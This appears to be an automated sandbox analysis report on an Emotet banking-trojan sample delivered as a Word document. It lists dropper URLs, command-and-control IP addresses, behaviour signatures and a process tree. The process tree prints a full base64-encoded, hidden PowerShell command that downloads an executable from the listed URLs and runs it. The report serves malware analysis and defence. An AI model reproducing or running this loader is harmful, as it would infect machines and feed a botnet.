Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    115s
  • resource
    win7v191014
  • submitted
    09/12/2019, 13:55

Sharing

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General

  • Target
    Docs_9d7f3caa367ce2f658699461660b4254.38.doc
  • Sample191209-9g7xt74zvx
  • SHA256 918b8d165836e26ba2c38b5ea59b140cd7dd7d41244feedcc11856de22af244d
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://www.alfalah-ent.com/cms/a7rwpyxb9-k33-1101120868/
  • exe.dropper

    https://raasset.com/x/crHctWU/
  • exe.dropper

    http://alexandrearealty.com/tmp/OyjFYg/
  • exe.dropper

    http://mehuaedxb.com/css/qIkFIs/
  • exe.dropper

    http://mosaiclabel.com/4f9xnykaf/amz4jg4-x3i-459569728/

Extracted

Family

  • emotet

C2

  • 24.27.122.202:80

  • 67.171.182.231:80

  • 190.171.135.235:80

  • 103.9.145.19:8080

  • 46.105.128.215:8080

  • 172.105.213.30:80

  • 69.30.205.162:7080

  • 115.179.91.58:80

  • 181.44.166.242:80

  • 78.46.87.133:8080

  • 81.213.145.45:443

  • 83.156.88.159:80

  • 210.111.160.220:80

  • 195.191.107.67:80

  • 192.241.220.183:8080

  • 1.32.54.12:8080

  • 192.161.190.171:8080

  • 190.189.79.73:80

  • 122.11.164.183:80

  • 41.77.74.214:443

rsa_pubkey.plain

Signatures

  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Drops file in System32 directory 6 IoCs
  • Modifies registry class 136 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious use of SetWindowsHookEx 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_9d7f3caa367ce2f658699461660b4254.38.doc"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Drops file in System32 directory
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2028
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABJAGwAdwB3AGsAZwBiAHIAcgA9ACcATQBsAHkAZABmAHQAcQBxAGgAJwA7ACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACAAPQAgACcAOQAzADgAJwA7ACQASQBvAGkAZgBiAHgAZAB6AGoAdQB2AGYAPQAnAE0AYwByAHQAeABiAGkAbgBpAHEAZgBuACcAOwAkAFkAYwBvAGQAbwBqAG4AeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACsAJwAuAGUAeABlACcAOwAkAFMAYwB3AGkAdQByAG4AaQBjAGIAYQA9ACcAQgB3AHIAcQBzAGwAbgBoAG4AeQBvACcAOwAkAE0AbABtAGcAZgB1AHAAbwB4AGUAdQBwAHUAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAGIAQwBsAGkARQBuAHQAOwAkAEkAaABrAG8AbQBoAHQAYwA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGEAbABmAGEAbABhAGgALQBlAG4AdAAuAGMAbwBtAC8AYwBtAHMALwBhADcAcgB3AHAAeQB4AGIAOQAtAGsAMwAzAC0AMQAxADAAMQAxADIAMAA4ADYAOAAvACoAaAB0AHQAcABzADoALwAvAHIAYQBhAHMAcwBlAHQALgBjAG8AbQAvAHgALwBjAHIASABjAHQAVwBVAC8AKgBoAHQAdABwADoALwAvAGEAbABlAHgAYQBuAGQAcgBlAGEAcgBlAGEAbAB0AHkALgBjAG8AbQAvAHQAbQBwAC8ATwB5AGoARgBZAGcALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGgAdQBhAGUAZAB4AGIALgBjAG8AbQAvAGMAcwBzAC8AcQBJAGsARgBJAHMALwAqAGgAdAB0AHAAOgAvAC8AbQBvAHMAYQBpAGMAbABhAGIAZQBsAC4AYwBvAG0ALwA0AGYAOQB4AG4AeQBrAGEAZgAvAGEAbQB6ADQAagBnADQALQB4ADMAaQAtADQANQA5ADUANgA5ADcAMgA4AC8AJwAuACIAUwBQAGAATABJAFQAIgAoACcAKgAnACkAOwAkAE0AdQBnAHIAegBuAGoAbwBnAGcAPQAnAEwAYgBkAGUAYQBxAHMAZABtAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAbgBnAGQAYgBpAGsAagBzAHEAbAAgAGkAbgAgACQASQBoAGsAbwBtAGgAdABjACkAewB0AHIAeQB7ACQATQBsAG0AZwBmAHUAcABvAHgAZQB1AHAAdQAuACIAZABPAHcAbgBMAGAATwBgAEEAZABmAGAASQBMAEUAIgAoACQAQwBuAGcAZABiAGkAawBqAHMAcQBsACwAIAAkAFkAYwBvAGQAbwBqAG4AeQApADsAJABBAG4AYwB6AGgAZQBkAGkAaQBpAGUAPQAnAEsAYgBuAGsAYQB1AHAAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkAYwBvAGQAbwBqAG4AeQApAC4AIgBMAEUAYABOAGcAVABIACIAIAAtAGcAZQAgADIAMgA5ADIAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYABBAFIAdAAiACgAJABZAGMAbwBkAG8AagBuAHkAKQA7ACQASgBjAG4AaAB2AHcAegBmAGQAcAA9ACcATABrAGgAYwBkAHEAZQBkAHcAawAnADsAYgByAGUAYQBrADsAJABQAGYAdABtAGwAYgB4AHcAZwBzAHAAPQAnAFcAbQBsAGkAeQBwAG0AcwBwAGIAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAGMAegBkAG4AegBhAHgAcgBxAGQAbgA9ACcAUgB2AGYAdAB1AGIAbABnACcA
    1⤵
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:1956
    • C:\Users\Admin\938.exe
      "C:\Users\Admin\938.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:2032
      • C:\Users\Admin\938.exe
        --1d0cddc
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        • Suspicious use of SetWindowsHookEx
        PID:1100
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "184422301228799135618944460-322814422-178056611075657119908867499-803790831"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1976
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WerSvcGroup
    1⤵
      PID:1088
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
        PID:748
      • C:\Windows\SysWOW64\trnsiplk.exe
        "C:\Windows\SysWOW64\trnsiplk.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:1240
        • C:\Windows\SysWOW64\trnsiplk.exe
          --61e3a15b
          2⤵
          • Executes dropped EXE
          • Suspicious behavior: EmotetMutantsSpam
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          PID:1420

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/1100-10-0x00000000007A0000-0x00000000007B7000-memory.dmp
            Download

            memory/1100-11-0x0000000000400000-0x00000000004A2000-memory.dmp
            Download

            memory/1240-13-0x0000000000320000-0x0000000000337000-memory.dmp
            Download

            memory/1420-16-0x0000000000400000-0x00000000004A2000-memory.dmp
            Download

            memory/1420-15-0x0000000000260000-0x0000000000277000-memory.dmp
            Download

            memory/2028-4-0x0000000006180000-0x0000000006184000-memory.dmp
            Download

            memory/2028-5-0x0000000006180000-0x0000000006184000-memory.dmp
            Download

            memory/2028-0-0x0000000005F60000-0x0000000005F64000-memory.dmp
            Download

            memory/2028-3-0x0000000008E70000-0x0000000008E74000-memory.dmp
            Download

            memory/2028-2-0x0000000006180000-0x0000000006184000-memory.dmp
            Download

            memory/2028-1-0x0000000006244000-0x0000000006254000-memory.dmp
            Download

            memory/2032-8-0x0000000000310000-0x0000000000327000-memory.dmp
            Download